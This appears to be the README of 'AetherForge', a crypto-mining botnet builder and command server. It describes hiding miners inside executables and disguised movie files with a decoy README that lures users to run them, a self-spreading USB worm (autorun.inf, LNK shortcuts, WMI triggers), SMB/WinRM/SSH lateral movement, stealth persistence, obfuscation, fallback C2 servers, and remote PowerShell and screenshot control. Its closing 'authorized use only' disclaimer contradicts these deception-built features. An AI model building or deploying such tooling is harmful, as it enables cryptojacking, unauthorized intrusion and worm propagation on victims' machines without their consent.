AetherForge
Private Monero + Ravencoin fleet command deck for machines you own.
One control PC. One dashboard. Forge silent workers for Windows, Linux, and macOS — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
┌─────────────────────────────────────────────────────────────────────┐
│ CALIBRATE (Settings) pool · wallet · users · alerts │
│ │ │
│ ▼ │
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │
│ │ │
│ ├──► Prep fusion embed worker in your own .exe │
│ ├──► Movie fusion locked media + runner + ZIP │
│ ├──► USB Propagation auto-spreads to every USB drive │
│ └──► LAN Spread SMB / WinRM / SSH lateral install │
│ │
│ WORKER PC RandomX CPU · KawPoW GPU · WebSocket home │
│ → installs → mines → USB-spreads → phones │
│ │
│ COMMAND DECK live stats · 3D map · Crucible · roster │
└─────────────────────────────────────────────────────────────────────┘
What This Is
AetherForge is a self-hosted mining control plane — not a cloud pool UI, not a generic miner wrapper.
| Layer | What it does |
|---|---|
| Control server | Go backend on port 8989 — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| Command deck | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
| Worker agent | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
| Fusion (prep) | Bundler — hides the worker inside your uploaded prep.exe, same icon, single deliverable |
| Fusion (movie) | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| Forge | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |
You configure defaults once in Calibrate. You forge once per target profile in Forge. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
What You Get
Command Deck (Dashboard)
- Sign-in gate — HTTP Basic auth; session persisted until tab is closed
- Live fleet hashrate, CPU/RAM gauges, share feed
- Fleet Health Score — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- Contribution Map — per-agent hashrate bars with USD/day estimates when XMR price is loaded
- Underperformer list — machines below 70% of fleet median with one-click "Restart All"
- OS / Arch Breakdown — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
- LAN Group View — agents grouped by /24 subnet; aggregated hashrate per segment
- XMR price — server-side CoinGecko fetch, 10-minute cache
- Earnings Estimator — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
- 3D fleet topology map — agents orbiting the server node (React Three Fiber)
- Monero section — CPU hashrate gauges, share feed, pool status, per-rig breakdown
- Ravencoin section — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
- Pool connection status and AI activity panel (Advanced mode)
- Matrix stream overlay with mystic word drops (Advanced mode)
Fleet Roster (Agents)
- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
- Compact rows — click to expand inline details and compact remote action strip
- Fleet Groups — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
- Remote control panel — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
- Mining ops: pause / resume / restart miner
- Recon: sysinfo, list processes, network scan, DNS config, listening ports
- System: Reboot, Shutdown, Wake-on-LAN (sends UDP magic packet to agent's MAC address)
- Screen: Screenshot — captures remote desktop and instantly downloads JPEG in your browser
- Admin: PowerShell terminal, file upload, uninstall
- Live stats ticker — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
- Auto-sysinfo — system info is fetched immediately when you select an agent
- Offline banner — controls disabled with a clear OFFLINE badge when agent is not connected
Forge (Miner Builder)
- Target OS — Windows, Linux, macOS, or Universal (all platforms in one ZIP)
- Spread Kit — non-fusion ZIP with
Deploy.bat/deploy.sh/Start.command→ silent--spread-install - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL
- Prep fusion — upload
prep.exe, run order (parallel/prep_first/worker_first), Garble obfuscation, Authenticode /osslsigncodesigning - Movie fusion — upload
.mp4/.mkv/.mov; embedded or paired delivery modes - Batch forge — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- Backup pools (advanced) — fallback Stratum pool list baked into the agent
- Backup server URLs (advanced) — fallback C2 addresses baked into the agent
- USB Propagation — enables perpetual USB self-spread chain (see below)
- Share Spread — auto-copy to mounted network shares + WinRM lateral install
- LAN Auto-Spread — SMB admin$ / SSH lateral movement gated behind C2 auth
Ravencoin GPU Mining
Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:
| GPU vendor | Miner | Algorithm |
|---|---|---|
| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) |
| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) |
- Agent downloads and silently launches the appropriate miner binary
- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
- Dashboard shows dedicated Ravencoin section separate from Monero CPU stats
- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently
USB Perpetual Self-Propagation
Enable USB Propagation in the Forge. The baked binary:
- Spreads within 8 seconds of any USB drive being plugged in (also checks drives already present at startup)
- Drops the agent binary into a hidden system-looking folder (
~RECYCLER,System Volume Information, etc.) - Writes an
autorun.inf(legacy trigger), a folder-icon LNK shortcut (Win8+), and a visible SETUP.BAT fallback - Creates a plausible decoy folder (Documents / Photos / etc.) so the drive looks natural
- Installs a persistent WMI event subscription that fires on every future USB mount — survives reboots
- Refreshes the payload automatically when the agent binary is updated (size check)
On the next PC, when the USB exe runs via LNK or SETUP.BAT:
InstallIfNeededdetects it's running from removable media- Silently copies to
%LOCALAPPDATA%, sets up scheduled task / registry autostart - Original process exits; installed copy starts and also watches for USB drives
- Chain never ends — every new infected PC propagates to every USB it sees
Crucible (Command Terminal)
- Select one or many agents (or entire Fleet Groups) as targets
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
- Gold rain effect — matrix overlay switches to gold flurry when a single agent is active in the Crucible
- Real-time command output streamed back to the terminal
Matrix Digital Rain
- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
- Gold flurry mode activates in the Crucible when one machine is being manipulated
- Heavy gold rain identical to Forge progress animation
Wake-on-LAN
- Agent reports its primary MAC address to the server on auth
- MAC stored in the fleet database
- Fleet Roster Wake button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
Quick Start
Requirements: Windows 10/11 on control PC. Outbound internet to your pool.
-
Double-click
devrun.batin the project root. Installs Go/Node if missing, builds the dashboard, compilesbin\miner-server.exe, copies web assets, and starts the server. -
Browser opens http://localhost:8989
-
Sign in — first run: check the console window for your generated admin password
-
Calibrate → set your Monero wallet + pool + public URL for remote workers
-
Forge → worker name · server URL (
http://YOUR-LAN-IP:8989or tunnel) · target OS · enable GPU / USB spread as needed → Forge Installer -
Run the forged
.exeonce on each worker PC (or distribute via movie ZIP / USB) -
Watch them appear on Command Deck and Fleet Roster
First-run login
=== First Run ===
Dashboard login: admin / <random-password>
Save this — it is not shown again. Change it in Calibrate → Users.
=================
Credentials stored in data/users.json (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under Calibrate → Users.
Auth surface
| Surface | Mechanism |
|---|---|
/api/v1/* REST |
HTTP Basic Auth |
/ws/dashboard |
?token=<base64-user:pass> |
/ws/agent |
Fleet-secret auth JSON frame |
/api/v1/agent/* |
X-Fleet-Secret: <secret> header |
Static SPA + /api/v1/health |
Open (no auth) |
Portable USB (AetherForge on a stick)
Run pack-usb.bat from the project root. It:
- Builds the frontend and compiles
AetherForge.exe - Copies webroot, agent source, fusion source, and the Go toolchain into
usb\ - Creates
data\directories with a starterconfig.json - Syncs
LAUNCH.bat
Copy the entire usb\ folder to a USB drive. On any Windows PC, double-click LAUNCH.bat → dashboard opens at http://localhost:8989.
Note: This is the control deck portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
Output Locations
| Artifact | Where |
|---|---|
| Forged agent exe | Project root (e.g. install-worker.exe) |
| Movie fusion per title | fusion-deliverables/<Title>/ + Title-package.zip |
| Archive copy | data\builds\{build-id}\ |
| Uninstall script | Same build folder + download API |
| Server config | data\config.json |
| Fleet database | data\miner.db |
| Dashboard build (source) | server\web\dist\ |
| Dashboard build (served) | server\webroot\ |
Network Deployment
| Scenario | Server URL in Forge |
|---|---|
| Same LAN | http://192.168.x.x:8989 |
| Cloudflare / reverse tunnel | https://your-domain.com |
Workers auto-convert http(s):// → ws(s)://.../ws/agent. Workers only need outbound access to your control URL.
Do not expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
Agent Silence
Every agent operation is completely silent — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).
| Category | Mechanism |
|---|---|
| Process launch | CREATE_NO_WINDOW + DETACHED_PROCESS syscall flags on all child processes |
| Persistence | Scheduled task / registry run key — no user-visible installer |
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
| WMI triggers | PowerShell executed with -WindowStyle Hidden |
| Spread installs | --run flag relaunches silently with detached start |
| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden |
Project Layout
crypto miner/
├── devrun.bat ← one-click build + launch (dev)
├── pack-usb.bat ← build portable AetherForge USB bundle
├── run.bat / start.bat ← aliases → devrun.bat
├── test.bat ← full test suite → scripts/test-suite.ps1
├── LAUNCH.bat ← portable/USB launch script
├── scripts/
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
│ └── smoke-test.ps1 ← API matrix B-01–B-10
├── bin/
│ └── miner-server.exe
├── data/ ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
├── usb/ ← portable USB server bundle (output of pack-usb.bat)
├── server/
│ ├── main.go
│ ├── webroot/ ← production UI (copied from web/dist)
│ ├── web/ ← React command deck (Vite + TypeScript)
│ └── internal/
│ ├── api/ ← HTTP routes, WebSocket, auth, fleet, WOL
│ └── builder/ ← forge + fusion pipeline
├── agent/ ← worker source (Forge compiles per OS/arch)
│ ├── client/ ← WebSocket client, command handler, GPU miner, screenshot
│ ├── deploy/ ← install, persistence, watchdog, passive spread, firewall
│ └── config/ ← builtin config baked at forge time
├── fusion/ ← prep + movie runner source
├── tests/README.md ← test phases, E2E env vars
├── PROBLEMS.md ← known issues (severity-ranked)
└── README.md ← you are here
API Surface
| Method | Path | Purpose |
|---|---|---|
| GET | /api/v1/health |
Health check (no auth) |
| GET/PUT | /api/v1/config |
Calibrate settings |
| POST | /api/v1/builder/build |
Forge worker / fusion (multipart) |
| GET | /api/v1/builds |
List builds |
| GET | /api/v1/builds/{id}/download |
Download forged exe |
| GET | /api/v1/builds/{id}/artifact/{name} |
Extra artifacts (ZIP, README, …) |
| GET | /api/v1/agents |
Fleet list |
| POST | /api/v1/agents/{id}/command |
Remote action (pause, reboot, screenshot, …) |
| POST | /api/v1/agents/{id}/wol |
Send Wake-on-LAN magic packet |
| POST | /api/v1/agents/bulk-command |
Send command to multiple agents |
| GET | /api/v1/alerts |
Active fleet alerts |
| GET | /api/v1/pools/status |
Stratum pool connection states |
| GET | /api/v1/earnings/estimate |
XMR/day estimate |
| GET | /api/v1/market/xmr |
XMR/USD spot price (CoinGecko, 10 min cache) |
| WS | /ws/agent |
Worker connection |
| WS | /ws/dashboard?token=<base64> |
Live dashboard feed |
Full route list: server/internal/api/router.go
Cross-Platform Workers
| OS | CPU miner | GPU miner | Persistence | Install base |
|---|---|---|---|---|
| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | %LOCALAPPDATA% |
| Linux | XMRig | — | systemd user service | XDG data home |
| macOS | XMRig | — | LaunchAgent | ~/Library/Application Support |
Mesh P2P: Enable Mesh Networking in Forge to bake peer routing (-tags p2p). Default builds use a no-op stub.
Movie Fusion (detailed)
| Mode | Best for | What you get |
|---|---|---|
| Embedded (Option A) | Clips / smaller files (~500 MB) | One disguised file (Title.mkv.exe) with movie + hidden worker |
| Paired (Option B) | Full films (up to 2 GiB) | Per-title folder under fusion-deliverables/<Title>/ |
Paired layout:
fusion-deliverables/Vacation/
├── README.txt ← instructs user to run the runner for "enhanced 4K"
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner
├── Vacation.mkv.cmdata ← encrypted media (hidden)
└── Vacation.mkv.lnk ← shortcut → prompts for runner
Manual Build
cd server\web
npm install
npm run build
cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\
cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .
cd ..
bin\miner-server.exe -port 8989 -data .\data
Run the test suite
test.bat
Or run scripts\test-suite.ps1 directly. Set AETHERFORGE_E2E_USER / AETHERFORGE_E2E_PASS if your data\users.json is not the default test credentials.
With the server running, run scripts\smoke-test.ps1 for the REST API matrix (B-01–B-10).
Dashboard dev server
cd server\web
npm run dev
Vite proxies /api and /ws to localhost:8989.
Tech stack (dashboard)
| Package | Version |
|---|---|
| React | 18.x |
@react-three/fiber |
8.x |
@react-three/drei |
9.x |
| Vite | 5.x |
@react-three/fiberv9 requires React 19. With React 18 the app fails to mount (blank screen).package.jsonpins compatible versions.
Under the Hood
- Stratum proxy — workers submit through your server; one upstream connection per wallet/host
- Stratum fallback — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
- WebSocket hub — agents and dashboard share live stats, jobs, alerts, and screenshots
- Fleet secret — random token baked into every forged agent; rejected if it doesn't match
- MAC address collection — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
- Hashrate reporting — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
- Process guard — Unix
pgrepfix: matches only the agent binary (no false-positive self-kill) - ARP-first subnet scan — autospread reads OS ARP cache before falling back to full /24 port sweep
- Ollama AI autonomy (optional) — server-side LLM decides restart / persistence / tunnel actions
- Garble obfuscation — strips symbols and randomises identifiers in compiled agents
- Cross-platform code signing —
signtoolon Windows,osslsigncodeon Linux/macOS - Server-side forge cancel — each build tracked by UUID;
DELETE /api/v1/builder/cancel/{token}kills the compiler - Retention jobs — auto-purge old hashrate samples and stale build artifacts
- Screenshot buffering — server buffers base64 JPEG frames per agent; dashboard
screenshotcommand downloads instantly
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| Black screen, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; npm install && npm run build; copy dist → webroot; restart server |
| Login loop / 401 | Wrong password or missing users.json |
Check console for first-run password; delete data/users.json and restart |
| Dashboard builds but server shows placeholder HTML | Missing server/webroot/index.html |
Run devrun.bat or copy server/web/dist/* → server/webroot/ |
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC |
| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers |
| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only |
| USB payload not spreading | USBSpread not enabled at forge time |
Re-forge with USB Propagation checked |
| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors |
Known Issues
See PROBLEMS.md for a severity-ranked audit. Check there before production use on a large fleet.
⚠ LEGAL & FAIR USE WARNING
Read this before you deploy anything.
Authorized use only
AetherForge is designed and intended for computers and networks you own or explicitly administer — your home lab, your office fleet, machines where you have authority to install software and consume CPU/GPU resources.
By using this software you agree that:
- You will only deploy workers on systems you control or have written permission to manage.
- You will not install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
- You will not use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
- You are solely responsible for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
What this is NOT
- Not a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
- Not malware — but misuse can make it indistinguishable from malware under law and AV heuristics.
- Not anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.
Security responsibility
data/users.jsonstores bcrypt hashes only. First-run generates a random admin password (shown once).- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
- Remote command features (
powershell,exec, file upload) are full control of a worker. - Code signing, Defender exclusions, and network segmentation are your responsibility.
Disclaimer
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.
If you cannot accept these terms, do not run AetherForge.
License
Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via git.gammaspectra.live/P2Pool/go-randomx.
AetherForge — LAN MINING COMMAND
Calibrate · Forge · Deploy · Spread · Command